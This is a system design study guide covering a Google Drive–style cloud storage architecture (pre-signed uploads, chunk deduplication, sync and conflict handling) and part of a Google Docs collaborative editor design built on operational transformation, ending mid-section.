Consistency Model

Domain	Model	Reason
Quota enforcement	Strong (ACID)	User must never exceed quota; two concurrent uploads need serialization
Permission checks	Strong (ACID)	Access control must be correct at all times
Folder listing	Eventual (read replica)	1–2s stale list is invisible to users
Cross-device sync	Eventual	Notification-driven pull; brief lag acceptable

[!IMPORTANT]
CAP framing: Upload and sync prefer availability — a 1–2 second sync lag is acceptable. Quota and permission operations prefer consistency — a user must never exceed quota or access a file they were not granted permission to.

🧠 Mental Model

A cloud storage system is not just a file store — it continuously syncs file state across distributed clients, ensuring changes propagate reliably and efficiently. Three flows define everything: upload (client chunks file → pre-signed URL → S3 directly), metadata management (DB tracks what exists, not the bytes), and sync (S3 event → notification service → WebSocket push to other devices). The file bytes and the file record travel completely separate paths.

Google Drive is not a filesystem. It is a metadata store with a blob storage backend.

A "folder" is not a directory — it is a row in a database with type = folder. Moving a file is not moving bytes — it is changing a parent_id field. The actual bytes live in S3, addressed by a content hash.

                    +-----------------------------------------------------+
                    |                    FAST PATH                        |
  +--------+  chunk |  +----------------+   pre-signed URL               |
  | Client | ------>|  | Upload Service | ---------------------> S3/Blob |
  |(Chunker|        |  +-------+--------+   client uploads directly      |
  |+Watcher|        +----------|-----------------------------------------+
  +--------+                   | metadata write (before ACK)
                    +----------v-----------------------------------------+
                    |                  RELIABLE PATH                      |
                    |  Metadata DB (file record, hash, parent_id, quota)  |
                    |  Notification Service --> sync other devices        |
                    +-----------------------------------------------------+

⚡ Core Design Principles

Path	Optimized For	Mechanism
Fast Path — upload	Throughput	Pre-signed URL; client uploads chunks directly to S3; backend touches zero bytes
Reliable Path — metadata	Durability + Correctness	DB write before upload confirmed; quota enforced atomically
Dedup Path — storage	Efficiency	SHA-256 chunk hash = content-addressable key; second upload = metadata pointer only
Sync Path — devices	Near-real-time	S3 event → MQ → Notification Service → WebSocket push; pull-on-notification

[!IMPORTANT]
File data never touches the application server. The backend only handles metadata and issues pre-signed tokens. File bytes go client → S3 directly. This is the architectural decision that makes Google Drive scale — the upload bottleneck is the client's bandwidth and S3 throughput, not application server capacity.

[!NOTE]
Key Insight: Deduplication works at the chunk level, not the file level. If you upload the same 10 GB video twice, only one copy of each chunk is stored. The second upload is just a metadata pointer — no bytes transferred. This is why Dropbox could serve billions of files at a fraction of expected storage cost.

6. API Design

Method	Path	Description
POST	/api/v1/files/upload/init	Initiate chunked upload, returns {upload_id, pre_signed_urls[]}
POST	/api/v1/files/upload/complete	Confirm all chunks uploaded, triggers processing
GET	/api/v1/files/{id}/download	Returns pre-signed S3 download URL (not the file bytes)
GET	/api/v1/folders/{id}/children	List folder contents with metadata
POST	/api/v1/files/{id}/share	Share with {email, permission: viewer/editor}
GET	/api/v1/files/{id}/versions	List file version history

[!NOTE]
The most architecturally interesting endpoints are upload/init and download — neither passes file bytes through the app server. Upload/init returns pre-signed S3 URLs so the client uploads directly to S3. Download returns a pre-signed URL the client fetches directly from CDN. The app server only handles metadata.

7. End-to-End Flow

7.1 Upload Flow

File upload with pre-signed URL and chunk deduplication — the happy path from client to sync.

The story in plain English:

Client initiates upload by calling POST /files/upload/init with the file name, size, and a SHA-256 hash of the entire file.
Upload Service checks if this exact file (by hash) already exists in storage — chunk-level deduplication. If another user already uploaded the same file, we skip uploading those chunks entirely.
For chunks that don't exist yet, the server generates pre-signed S3 PUT URLs — one per chunk — and returns them to the client.
The client uploads each chunk directly to S3 in parallel. The app server never touches file bytes. This is how you scale uploads without server bottleneck.
Once all chunks are uploaded, the client calls POST /files/upload/complete with the file_id and chunk ETags.
Upload Service commits the file metadata record to PostgreSQL — pointing to the chunk hashes in S3, not the file bytes directly.
A file_ready event is published to Kafka. Notification Service consumes it and pushes a sync event to the user's other devices via WebSocket.


GOOGLE DRIVE — FILE UPLOAD SEQUENCE
═══════════════════════════════════════════════════════════════════════════════

  Client      Upload Svc    Dedup Check      S3         Message Q    Notify Svc
    │               │              │           │               │            │
    │─POST /files/initiate─────────►           │               │            │
    │  {name, size, chunk_count,   │           │               │            │
    │   total_hash}                │           │               │            │
    │               │─does total_hash exist?───►│              │            │
    │               │◄─────[no: new] / [partial: some chunks exist]          │
    │               │─check user quota          │              │            │
    │               │─generate pre-signed PUT URLs for NEW chunks only───────►
    │               │◄──────────────────────────│              │            │
    │◄──────────────│ {file_id, upload_id,       │             │            │
    │  pre_signed_urls[] for unique chunks}      │             │            │
    │               │              │             │             │            │
    │               │   ┌──────────────────────────────────────────────────┐ │
    │               │   │  Client uploads ONLY new chunks directly to S3   │ │
    │               │   │  (parallel, bypasses app server entirely)        │ │
    │               │   └──────────────────────────────────────────────────┘ │
    │─PUT chunk_1 (pre-signed URL)──────────────►│               │            │
    │─PUT chunk_2 (pre-signed URL)──────────────►│               │            │
    │─PUT chunk_N (pre-signed URL)──────────────►│               │            │
    │               │              │            │─upload_completed events───►│
    │               │              │            │  {file_id, chunk_ids}│
    │               │◄─────────────────────────────consume + verify chunks──│
    │─POST /files/complete──────────►            │               │            │
    │  {file_id, etags[]}           │            │               │            │
    │               │─commit file_metadata to DB │               │            │
    │               │  (points to chunk hashes,  │               │            │
    │               │   not raw bytes)           │               │            │
    │               │─decrement user quota atomically            │            │
    │◄──────────────│ 200 OK {download_url}       │              │            │
    │               │               │             │              │            │
    │               │─file_ready event──────────────────────────►│            │
    │               │  {user_id, file_id}       │               │─consume───►│
    │               │              │            │               │─WS push────►
    │               │              │            │               │  sync file_id
    │               │              │            │               │  to other   │
    │               │              │            │               │  devices    │

[!NOTE]
Key Insight: The 3-step upload (initiate → upload to S3 → complete) is the correct pattern for large files. The backend never touches file bytes — it only creates pre-signed URLs and records metadata on completion. This is how you scale to 5,800 uploads/sec without application server bottleneck.

7.2 Download Flow

File download with permission check and pre-signed CDN/S3 URL — the client fetches bytes directly, never through the app server.

The story in plain English:

User clicks a file — client calls GET /files/{id}/download.
Metadata Service checks Redis cache for file metadata (name, size, S3 location). Cache hit returns in < 1ms. Cache miss falls back to PostgreSQL.
Permission Service checks that this user has at least read access to the file (via the permissions table).
Metadata Service generates a pre-signed S3/CDN GET URL with a short TTL (15 minutes) and returns it to the client.
Client fetches the file directly from the CDN edge node — the app server is completely out of the data path.
CDN cache hit: file served from edge in milliseconds. Cache miss: CDN fetches from S3 origin, caches at edge for future requests. The app server never touches file bytes in either direction — upload or download.

[!NOTE]
Key Insight: The app server never touches file bytes in either direction — upload bytes go Client → S3 directly via pre-signed PUT, download bytes go S3/CDN → Client directly via pre-signed GET. The app server is purely a metadata and URL-signing service.

8. High-Level Architecture

Simple Design

Evolved Design — with CDN, Dedup, Sync Queue

9. Data Model

Entity	Storage	Key Columns	Why this store
file_metadata	PostgreSQL	file_id UUID PK, name, type, parent_id FK, owner_id, size_bytes, content_hash, s3_path, created_at, modified_at, deleted_at	Relational — parent-child folder hierarchy, soft deletes, O(1) rename and move via single field update
chunks	PostgreSQL	chunk_hash SHA-256 PK, s3_path, size_bytes, ref_count, created_at	Content-addressable: hash IS the key; ref_count enables garbage collection of orphaned chunks
file_chunks	PostgreSQL	file_id FK, chunk_index, chunk_hash FK	Join table mapping a file to its ordered list of chunk hashes; enables partial dedup per file
permissions	PostgreSQL	file_id FK, user_id FK, permission enum read/write/owner, granted_at — PK is file_id + user_id	ACID required — permission checks must be strongly consistent; JOIN with file_metadata is natural SQL
sync_state	Redis	user_id → set of device_ws_ids, TTL 30min	Ephemeral — tracks which WebSocket connections belong to a user; TTL handles disconnects automatically
quota_cache	Redis	user_id → bytes_used, TTL 60s	Write-through cache — quota checks hit Redis first; DB is source of truth but 60s stale acceptable
user_sessions	Redis	session_token → user_id, TTL 24h	Session data is ephemeral and high-read; Redis sub-millisecond lookup vs 10–50ms DB I/O

[!NOTE]
Key Insight: The chunks table makes the hash the primary key — the content IS the address. Deduplication, integrity checking, and content-addressable retrieval are all solved by the same SHA-256 hash. No separate dedup service state is needed.

10. Deep Dives

10.1 Pre-Signed URL Upload Flow

Here is the problem: at peak load, 5,800 uploads/sec at ~2.5 MB/chunk means 14.5 GB/sec of file data in flight. Routing this through application servers would require provisioning server capacity for a problem that is purely about moving bytes from one place to another.

Naive solution: Client POSTs file bytes to /files/upload → server streams to S3. This fails because: (1) server holds the TCP connection open for the entire upload duration — 200 MB file on a slow connection = 30+ seconds of connection held, (2) 25 TB/day through app servers = bandwidth cost and compute cost that scales linearly with file size, not with request count.

Chosen solution — 3-step pre-signed URL flow:

Client calls POST /files/initiate with file metadata and chunk hashes. Backend checks quota and dedup, then asks S3 to generate pre-signed PUT URLs — time-limited tokens (15 min) scoped to exactly one S3 object each.
Client uploads each chunk byte-for-byte directly to S3 using the pre-signed URL. Backend is not involved. S3 validates the token and stores the chunk.
Client calls POST /files/complete with file_id and chunk ETags. Backend writes the metadata record to PostgreSQL and decrements quota atomically.

Trade-off accepted: Client must implement a 3-step upload flow instead of a simple POST. This is acceptable because the client SDK abstracts the flow — users never see it — and the alternative (proxying 25 TB/day) is not an optimization problem but a physics problem.

[!IMPORTANT]
Pre-signed URLs are not just an optimization — they are the only architecture that scales. Proxying 25 TB/day of file uploads through application servers cannot be fixed with more hardware; it requires re-routing the data path entirely.

[!TIP]
In the interview, say: "I chose pre-signed URLs over proxied upload because routing 14.5 GB/sec through application servers creates a bottleneck that cannot be horizontally scaled away — you would need servers sized for bandwidth, not compute. The trade-off I accept is a 3-step client flow, which is hidden inside the SDK."

10.2 Chunk-Level Deduplication via SHA-256

Here is the problem: 50 million uploads/day at 500 KB average = 25 TB/day of raw data. Many of those uploads share content — video edits share 90% of frames, document revisions share most paragraphs, backup tools re-upload unchanged files.

Naive solution — file-level dedup: Hash the whole file, check if hash exists. If yes, skip upload. This catches only exact duplicates — roughly 30% of uploads. Two versions of the same video (one with added intro) share no file hash even though they share 95% of bytes.

Chosen solution — chunk-level content-addressable storage:

Every file is split into 5 MB chunks before upload. Each chunk is hashed with SHA-256 (collision probability negligible). When the client calls POST /files/initiate, it sends the hash list for all chunks. The Upload Service queries the chunks table: which hashes already exist? For existing hashes, no pre-signed URL is issued — the file_chunks join table simply references the existing chunk. The client only uploads genuinely new chunks.

The file_metadata record becomes a list of chunk_hashes in order: [hash_A, hash_B, hash_C]. To reconstruct the file on download, the client (or CDN) fetches chunks in order and concatenates.

Trade-off accepted: Higher metadata DB size — ~100 bytes/chunk record × 200 chunks/file × 10B files = roughly 200 TB of chunk metadata. This is a known, bounded cost. Chunk metadata is small and amenable to compression. The storage savings (60–70% reduction on 27 PB over 5 years) vastly outweigh the metadata overhead.

[!NOTE]
Key Insight: Chunk hashes are content-addressable. The hash IS the storage address. Two users uploading the same popular movie share all 200 chunks — only one copy on disk. Storage cost is amortized across all users. This is the reason Dropbox could undercut competitors on price.

10.3 Sync Conflict Resolution

Here is the problem: Device A and Device B both edit the same file while offline. Both upload when they reconnect. The server sees two uploads targeting the same file_id with the same base version but different content hashes. One of them must win — but silently discarding the other is data loss.

Naive solution — last-write-wins: The second upload overwrites the first. Simple to implement. Silently destroys data whenever two devices are offline simultaneously.

Chosen solution — conflict copy preservation:

Each file carries a version field incremented on every write. On POST /files/complete, the Upload Service checks: does the base_version in the request match the current version in DB? If yes, it is a clean update — increment version and commit. If no, there is a conflict.

On conflict, the server does not reject the upload. Instead it creates a second file_metadata record named file (Device B conflict copy YYYY-MM-DD).ext, pointing to Device B's chunk hashes. Both versions survive. The user sees both in the folder and can manually resolve.

Trade-off accepted: Users must occasionally resolve conflicts manually. This is acceptable because: (1) conflicts only happen when two devices edit the same file offline simultaneously — rare in practice, (2) the alternative (silent data loss or distributed locks requiring both devices online) is worse. The conflict copy UI is a familiar pattern — users understand it.

[!NOTE]
Key Insight: Sync is pull-on-notification, not push. The notification tells the device "something changed." The device decides what to download. This prevents wasting bandwidth pushing large files to mobile devices on limited storage or slow connections.

11. Bottlenecks & Scaling

Bottleneck 1: Metadata DB read throughput (11,500 reads/sec for folder listing)

What breaks first: a single PostgreSQL primary cannot serve 11,500 read requests/sec at p99 less than 50ms while also handling 580 writes/sec for uploads.

Solution: Add read replicas for folder listing queries. Route all write operations (upload initiate, complete, quota update, permission change) to primary. Route all read operations (folder listing, file metadata fetch, permission check for download) to read replicas. Shard by owner_id — all files for one user land on the same shard, keeping parent-child queries local. Add Redis cache for hot folders (team shared drives with many readers).

Bottleneck 2: Notification service fan-out (1,700 WebSocket pushes/sec)

What breaks first: a single notification service node cannot maintain WebSocket connections for 50M DAU. At 50 million users × 3 devices each = 150M persistent connections.

Solution: Horizontal scaling of notification service nodes. Redis stores the mapping of user_id → set of device WebSocket connection IDs (with TTL for cleanup). Each notification service node holds a subset of connections. When a sync event arrives for user_id X, the service looks up X's device connection IDs in Redis and routes to the correct node. Nodes communicate via internal pub/sub.

Bottleneck 3: Chunk metadata lookup for dedup (29,000 chunk operations/sec)

What breaks first: checking 29K chunk hashes/sec against PostgreSQL for dedup will saturate the DB before the upload pipeline.

Solution: Bloom filter in Redis for chunk hashes. Before hitting PostgreSQL, check the Bloom filter — if the hash is definitely not present, skip the DB lookup entirely. Bloom filters have false positives (say "exists" when it does not) but never false negatives. A false positive causes an unnecessary DB lookup — not a correctness problem. A 1% false positive rate reduces DB load by ~70% for a working set that is mostly new content.

[!TIP]
Mention the Bloom filter dedup optimization in interviews — it is a senior-level detail that shows you have thought about the hot path. Say: "I would put a Bloom filter in Redis in front of the chunk hash DB lookup. False positives are acceptable — they just cause an extra DB read. False negatives would break dedup correctness, but Bloom filters never produce false negatives."

12. Failure Scenarios

Failure	Impact	Recovery
DB primary fails	Writes blocked — upload complete, quota update, permission change fail	PostgreSQL replica auto-promoted (RDS Multi-AZ, ~30s failover); upload service retries commit with exponential backoff
S3 availability event	Upload chunks fail mid-flight	Client retries failed chunks individually via new pre-signed URLs; already-uploaded chunks are not re-sent (idempotent by hash)
Message queue outage	S3 upload complete events lost — sync notifications not sent	Polling fallback: upload service polls S3 for pending events on recovery; clients re-sync on reconnect by comparing local version vs server version
Notification service crash	Connected devices stop receiving WebSocket pushes	Clients fall back to polling `/files/changes?since=timestamp` every 30s; WebSocket reconnects on next heartbeat
Redis quota cache failure	Quota checks fall through to PostgreSQL directly	Latency increases for upload initiate; correctness unaffected — PostgreSQL is source of truth; Redis rebuilt on restart
Network partition — client offline	Local changes not uploaded	Client queues pending changes locally; uploads in order on reconnect; conflict detection handles simultaneous edits
Chunk dedup race — two users upload same new chunk simultaneously	Both pass Bloom filter, both write to DB	PostgreSQL unique constraint on `chunk_hash` PK causes one INSERT to fail; second writer treats it as success (chunk already stored) — idempotent

13. Trade-offs

Pre-Signed URL vs Proxy Upload

Dimension	Pre-Signed URL — direct to S3	Proxied Upload — via app server
App server load	Zero — no bytes transit servers	14.5 GB/sec through servers at peak
Throughput ceiling	S3 capacity — effectively unlimited	Application server bandwidth
Upload latency	Client to S3 directly — 1 hop	Client to server to S3 — 2 hops
Security	URL expires in 15 min, scoped to one object	Server controls all access
Client complexity	3-step flow — initiate, upload, complete	Simple POST

Chosen: Pre-signed URLs. We never proxy file bytes through application servers. The trade-off we accept is a 3-step client upload flow, which is acceptable because the client SDK abstracts this entirely.

[!NOTE]
Key Insight: Pre-signed URLs are not just an optimization — they are the only architecture that scales. Proxying 25 TB/day of file uploads is not a latency problem; it is a physics problem.

Chunk-Level Dedup vs File-Level Dedup

Dimension	Chunk-level — 5 MB blocks	File-level — whole file hash
Dedup ratio	60–70% — partial content shared	30% — exact duplicates only
Metadata overhead	N chunk records per file	1 record per file
Partial upload resume	Resume from last successful chunk	Must restart entire file
Bandwidth savings	Upload only unique chunks	Upload whole file or nothing
Implementation complexity	Higher — chunk hash lookup per chunk	Lower — single hash check

Chosen: Chunk-level deduplication. Most storage savings come from shared partial content — video edits, document revisions, backup files with unchanged blocks. File-level dedup only catches exact duplicates. The trade-off we accept is higher metadata DB size (~200 TB of chunk records at scale), which is a known, bounded cost.

[!NOTE]
Key Insight: Chunk-level dedup is the reason Dropbox could undercut competitors on price. Two users uploading the same popular video share all 200 chunks — only one copy on disk. Storage cost is amortized across all users.

PostgreSQL vs NoSQL for Metadata

Dimension	PostgreSQL — chosen	Cassandra or DynamoDB
Directory hierarchy queries	Natural — adjacency list, recursive CTE	Requires denormalization or multiple reads
Permission joins	Native — JOIN file_metadata and permissions	Requires denormalization or application-side join
Quota aggregation	SUM query on owner_id — native SQL	Requires counter table or external aggregation
Consistency	Strong — ACID transactions	Eventual by default
Write throughput	~100K writes/sec sharded by owner_id	Multi-million writes/sec
Operational complexity	Moderate	Higher

Chosen: PostgreSQL with sharding by owner_id. Metadata is fundamentally relational — files have parents, permissions have users, users have quotas. Write volume (~580 uploads/sec) is well within sharded PostgreSQL capacity. The trade-off we accept is sharding complexity, which is acceptable because correctness of permission checks and quota enforcement requires ACID guarantees that NoSQL cannot provide cheaply.

[!NOTE]
Key Insight: The metadata for a storage system is fundamentally relational. Parent-child folder relationships, permission joins, and quota aggregation are natural SQL. NoSQL requires denormalization to express the same relationships — you trade write throughput you do not need for query complexity you must now manage yourself.

Interview Summary

Key Decisions

Decision	Problem It Solves	Trade-off Accepted
Pre-signed URLs — not proxied	25 TB/day of file bytes bypasses application servers	3-step client upload flow; client SDK complexity
Chunk-level dedup via SHA-256	60–70% storage savings; partial upload resume	Chunk metadata overhead in PostgreSQL
Metadata DB — not filesystem	O(1) rename and move; clean permission joins; natural quota aggregation	PostgreSQL sharding complexity at scale
Eventual consistency for sync	High availability; devices sync independently; simple architecture	1–2 second lag before new file appears on other devices
Message queue for S3 to sync	Reliable handoff from upload complete to notification — survives service restarts	200–500ms additional sync latency
CDN for downloads	Sub-50ms download globally for popular shared files	CDN egress cost

Fast Path vs Reliable Path

Fast Path   (throughput):  Client chunks file locally
                           -> Client uploads chunks directly to S3 via pre-signed URL
                           -> S3 emits event to Message Queue

Reliable Path (durability): Metadata DB write before upload confirmed
                            -> Quota enforced atomically on /files/complete
                            -> Notification fan-out only after metadata committed

File bytes  = fast path only  (S3-native, CDN-accelerated on download)
File record = reliable path   (PostgreSQL, ACID, quota-enforced)
Sync signal = reliable path   (MQ -> Notification Service -> WebSocket)

Key Insights Checklist

[!IMPORTANT]
These are the lines that make an interviewer lean forward. Know them cold.

"A folder in Google Drive is not a directory — it is a metadata row." Moving a file is changing a parent_id field. Rename is changing a name field. No bytes move. O(1) regardless of folder size.
"File bytes never touch the application server." Pre-signed URLs send data client to S3 directly. The backend handles only metadata and issues tokens. This is the only architecture that scales to 25 TB/day.
"Deduplication works at the chunk level." Two uploads sharing the same video clip share storage. The second upload is a metadata pointer — no bytes transferred. This is why Dropbox could undercut storage costs.
"Chunking is not just for large files — it enables deduplication, parallel upload, and partial retry." A 1 GB file in 5 MB chunks uploads 200 chunks in parallel and resumes from any failed chunk.
"Sync is pull-on-notification, not push." The notification says 'something changed.' The device decides what to download. This avoids pushing large files to mobile devices on limited storage.
"Metadata is relational — use a relational DB." Parent-child folders, permission joins, quota aggregation are natural SQL. NoSQL requires denormalization to express the same relationships and you trade write throughput you do not need for query complexity you must now manage.

Google Docs (Real-time Collaborative Editor) V2

Arghya Majumder — Fri, 27 Mar 2026 23:29:26 +0000

System Design: Google Docs (Real-time Collaborative Editor)

🧠 Mental Model

Google Docs is not syncing text. It is syncing operations across distributed clients.

This is the insight that unlocks the entire design. When Alice types "R" at position 29, Google Docs does not send the document. It sends { type: "insert", pos: 29, char: "R", version: 42, client_id: "alice" }. The document is a materialized view of a sequence of operations — not the source of truth. The operations log is.

Two users editing the same position at the same millisecond will produce divergent documents unless a conflict resolution algorithm (OT or CRDT) transforms one operation against the other before applying. The entire architecture is organized around making that transformation correct, fast, and durable. Everything else — WebSocket, Cassandra, Redis, S3 — serves those three requirements.

The system runs two paths concurrently:

Fast path: apply locally → send to OT Server → transform → broadcast to peers (optimizes latency)
Reliable path: append to Operations Log before ACK (optimizes durability)

                    ┌──────────────────────────────────────────────────────────┐
                    │                      FAST PATH                            │
  ┌────────┐  op    │  ┌──────────┐  transform  ┌──────────┐  broadcast       │
  │ UserA  │ ──────►│  │OT Server │ ───────────►│OT Server │ ──────► peers    │
  └────────┘        │  └──────┬───┘             └──────────┘                  │
   (optimistic      │         │ concurrent ops                                 │
    local apply)    └─────────┼───────────────────────────────────────────────┘
                              │ append (before broadcast, before client ACK)
                    ┌─────────▼───────────────────────────────────────────────┐
                    │                   RELIABLE PATH                           │
                    │              ┌─────────────────┐                         │
                    │              │ Operations Log   │  <- every op stored    │
                    │              │   (Cassandra)    │     before ACK sent    │
                    │              └─────────────────┘                         │
                    └─────────────────────────────────────────────────────────┘

⚡ Core Design Principle

Principle	Decision	Why
Conflict resolution	Operational Transformation (OT)	Central server already required; OT maps naturally
Operation granularity	Delta (insert/delete + position)	Full file replacement causes last-writer-wins data loss
Transport	WebSocket (persistent, bidirectional)	HTTP request-response cannot push server-initiated ops
Durability	Append-only Operations Log in Cassandra	Event sourcing — replay any version from any point
Latency	Optimistic local apply before server ACK	Visual responsiveness over consistency for text editing
Ephemeral state	Redis with TTL for cursors and presence	Cursor data expires naturally; storing in DB adds write amplification

1. Problem Statement & Scope

Google Docs allows multiple users to edit the same document simultaneously in real time. Changes made by one user appear in every other user's browser within milliseconds. The system must handle billions of documents, millions of concurrent editors, and guarantee zero data loss.

In scope:

Create, read, update, delete documents
Single-user and multi-user real-time collaborative editing
Cursor positions and presence for all active collaborators
Document versioning — save snapshots, restore to any version
Offline editing with automatic sync on reconnect

Out of scope:

Comments and suggestions (separate service)
Permissions and sharing UI (separate IAM service)
Spreadsheets and Slides (different data models)

2. Requirements

Functional Requirements

CRUD Documents — create, open, rename, and delete documents
Real-time collaborative editing — all collaborators see changes within 100ms
Cursor and presence — see where each collaborator's cursor is and who is online
Document versioning — view history, restore to any prior version
Offline editing — buffer local operations while offline, sync on reconnect

Non-Functional Requirements

Requirement	Target
Concurrent active editors	1 million
Total documents	1 billion
Edit propagation latency	< 100ms end-to-end
Data durability	Zero data loss (operations log is source of truth)
Availability	99.99% for solo editing; strong consistency for collaborative editing
Throughput	5 million operations/sec at peak

CAP Discussion

[!NOTE]
Key Insight: Google Docs makes a deliberate CAP choice that varies by editing mode. Solo editing: AP (availability over consistency — your edits always go through even if a replica is stale). Collaborative editing: CP (consistency over availability — all collaborators must converge to the same document state; the OT server is the single ordering point).

For collaborative editing, the OT server acts as the serialization point. If it is unreachable, clients buffer locally and display a "reconnecting" state rather than allowing divergent edits that cannot be reconciled.

3. Back-of-the-Envelope Estimations

Parameter	Value	Reasoning
Total documents	1 billion	Given
Concurrent active editors	1 million	1% of documents active at any time
Operations per editor per second	5	1 keystroke per 200ms
Peak operations/sec	5 million	1M x 5
Operation payload size	~200 bytes	Delta: type + position + char + version + client_id
Operations write throughput	~1 GB/sec	5M x 200B
Snapshot frequency	Every 100 ops	Background compaction
Average document snapshot size	~50 KB	Typical rich-text document
Snapshot storage per day	~500 GB	1M active docs x 1 snapshot/day x 50KB
WebSocket connections	1 million	One persistent connection per active editor
Redis cursor entries	1 million keys	One HSET per active document, TTL = 30s

Cassandra sizing for operations log:

1 GB/sec write throughput -> 86 TB/day at peak (real average ~10x lower -> ~10 TB/day)
Retain raw operations for 30 days -> ~300 TB hot storage
Older operations compacted into snapshots -> S3 for cold storage

WebSocket gateway sizing:

Each WebSocket connection consumes ~64 KB memory at the server
1 million connections -> ~64 GB RAM across gateway fleet
Horizontal scaling: shard by doc_id

4. API Design

REST API (Document Lifecycle)

POST   /api/v1/documents
       Body:     { title, owner_id }
       Response: { doc_id, created_at, blob_url }
       Purpose:  Create a new empty document

GET    /api/v1/documents/{doc_id}
       Response: { metadata, content_url, current_version }
       Purpose:  Fetch document metadata and URL of latest snapshot (served via CDN)

DELETE /api/v1/documents/{doc_id}
       Purpose:  Soft-delete; moves to trash, not immediately purged

GET    /api/v1/documents/{doc_id}/versions
       Response: [{ version_id, created_at, snapshot_url, op_count }]
       Purpose:  List all named versions and auto-snapshots

POST   /api/v1/documents/{doc_id}/versions
       Body:     { label }
       Purpose:  Create a manual named snapshot at current state

WebSocket API (Real-time Editing Session)

WS     /ws/documents/{doc_id}/edit
       Auth: Bearer token (validated on handshake upgrade)
       Sticky routing: client must reconnect to same OT Server node for the document

Client -> Server (operation):
  {
    type:      "operation",
    op: {
      type:      "insert" | "delete",
      pos:       29,
      char:      "R",
      version:   142,
      client_id: "uuid"
    }
  }

Client -> Server (cursor):
  {
    type:      "cursor",
    pos:       29,
    selection: { start: 29, end: 35 }
  }

Server -> Client (transformed operation broadcast):
  {
    type:              "operation",
    op:                { ...original_op },
    transformed_op:    { type: "insert", pos: 30, char: "R" },
    committed_version: 143
  }

Server -> Client (remote cursor):
  {
    type:    "cursor",
    user_id: "alice",
    pos:     15,
    color:   "#FF6B6B"
  }

Server -> Client (presence):
  {
    type:    "presence",
    user_id: "bob",
    status:  "online" | "idle" | "offline"
  }

[!NOTE]
Key Insight: The version field in the operation is the client's local version when the op was generated, not the server's committed version. The OT server uses this gap (client version vs. server version) to determine which concurrent operations must be transformed against.

5. System Architecture

High-Level Architecture

Evolved Architecture: WebSocket Sticky Routing

[!NOTE]
Key Insight: OT requires all operations for a document to pass through a single server — this is a correctness requirement, not a scaling limitation. Without a single ordering point, two OT servers could transform the same pair of concurrent operations in different orders, producing divergent documents. The session map in Redis routes every client for a given doc_id to the same OT Server node.

6. Operation Data Flow

[!IMPORTANT]
This is the flow interviewers want to hear you walk through. Every step has a purpose — know WHY each step exists.

🔄 The One-Line Flow (Say This First)

Client → apply locally → send op → Server → transform against concurrent ops
       → append to log → broadcast transformed op → other clients apply

This is the entire system in one line. Everything else — WebSocket, Cassandra, Redis, OT engine — exists to make each arrow in this flow correct, fast, and durable.

Arrow	Mechanism	Failure mode if skipped
`apply locally`	Optimistic apply before server ACK	Editing feels laggy — 200ms+ perceived latency
`send op`	WebSocket frame with `{type, pos, char, client_version}`	Server cannot transform without the version gap
`transform`	OT function adjusts positions against concurrent ops	Documents diverge — different clients see different text
`append to log`	Cassandra write BEFORE broadcast	Op lost on server crash — cannot replay on reconnect
`broadcast`	Push to all connected clients on same doc_id	Peers never see the change
`other clients apply`	Client-side OT against own pending ops	Client and server state desync — rollback spiral

🔄 Complete Operation Lifecycle

Step 1: Local Apply (client)
Step 2: Send to server (WebSocket)
Step 3: Transform on server (OT Engine)
Step 4: Append to Operations Log (Cassandra)
Step 5: Broadcast transformed op to all peers (WebSocket)
Step 6: Peers apply transformed op to their local doc

Step-by-Step WHY

Step	What happens	Why it must happen this way
1. Local apply	Client applies op to local doc without waiting	Makes editing feel instant — zero perceived latency
2. Send to OT Server	Op sent with `client_version` (doc version when op was generated)	Server needs the version gap to know which concurrent ops to transform against
3. Fetch concurrent ops	Server retrieves all ops committed since `client_version`	These are the ops the client did NOT know about when it generated its op
4. Transform	OT function adjusts positions against each concurrent op	Without this, positions become wrong → documents diverge
5. Append to log	Store BEFORE broadcasting	If server crashes after write but before broadcast, the op is in the log — clients fetch on reconnect
6. ACK to sender	Confirm the op's committed version	Client replaces pending op with committed version — can now generate next op correctly
7. Broadcast to peers	Push transformed op to all connected clients	Peers apply the server-transformed version, not the raw client version

[!NOTE]
Key Insight: The client_version is the crucial field. It tells the server "when I generated this op, I had seen operations up to version N." The server's job is to transform the op against everything that happened between version N and now. This is the entire OT algorithm in one sentence.

6b. Separation of Concerns

The system has three distinct layers. Keeping them separate is what makes the design scalable and debuggable.

Layer	Component	Responsibility	Why separated
Client	Editor	Local document model, keystrokes, rendering	Must be fast — no server round-trip
Client	Client OT Engine	Transform incoming remote ops against pending local ops	Client has unACKed ops the server hasn't seen yet
Sync	WebSocket Gateway	Auth, sticky routing, connection lifecycle	Stateless routing layer — separate from OT logic
Sync	OT Server	Canonical transformation and ordering point	Stateful per-document — must not be distributed
Storage	Operations Log	Durable, replayable event source	Decoupled from serving layer — allows versioning/audit
Storage	Snapshots	Fast initial load	Log replay from op 1 is too slow for large documents
Storage	Redis	Ephemeral state (cursors, presence, session map)	High-frequency writes with natural expiry — wrong fit for DB

[!NOTE]
Key Insight: The Client OT Engine and the Server OT Engine are both necessary. The server transforms incoming ops against other clients' concurrent ops. The client transforms incoming remote ops against its own locally-pending (unACKed) ops. Neither can be skipped. Remove the client engine and cursor positions break whenever you have network lag.

6c. Consistency Model

Eventual Consistency + Strong Convergence

Google Docs is an eventually consistent system with a strong convergence guarantee.

Property	Definition	Google Docs guarantee
Eventual consistency	All replicas will agree on the same state... eventually	Yes — given no new ops, all clients converge
Strong convergence	If two replicas have applied the same set of ops (in any order), they are in the same state	Yes — OT's transformation property ensures this
Linearizability	Every op appears to execute atomically at a single point in time	No — not required for a text editor
Causal consistency	If op A happened before op B (as seen by the client), all clients see A before B	Yes — client version numbers enforce causal ordering

Eventual consistency in practice:
  Alice:  "Hello"  →  "Hello World"  →  "Hello World!"
  Bob:     "Hello"  →  "Hello !"      →  "Hello World!"
                                               ↑
                              Both converge here after transformation

Strong convergence is what OT (and CRDT) provide. It means:

Two clients applying the same set of operations will always reach the same final document state
The ORDER in which concurrent ops are applied does not matter — transformation corrects positions
This holds even with network delays, reordering, or reconnection

[!NOTE]
Key Insight: Google Docs does NOT guarantee that Alice and Bob see the same document at the same millisecond — that would require linearizability, which is prohibitively expensive at this scale. It guarantees that they converge to the same document. The gap is usually < 100ms and invisible to users.

6d. Edge Cases

Out-of-Order Operations

Problem: Network reordering means op at version 44 arrives before op at version 43.

Solution: The OT server enforces ordering at the log level. Every op gets a monotonically increasing server version on commit. Clients buffer ops received out of order and apply them in version order.

Client receives: [ver=44 op], [ver=43 op]
                      ↓
Buffer: { 43: pending, 44: pending }
Wait for ver 43 → apply 43 → apply 44

[!NOTE]
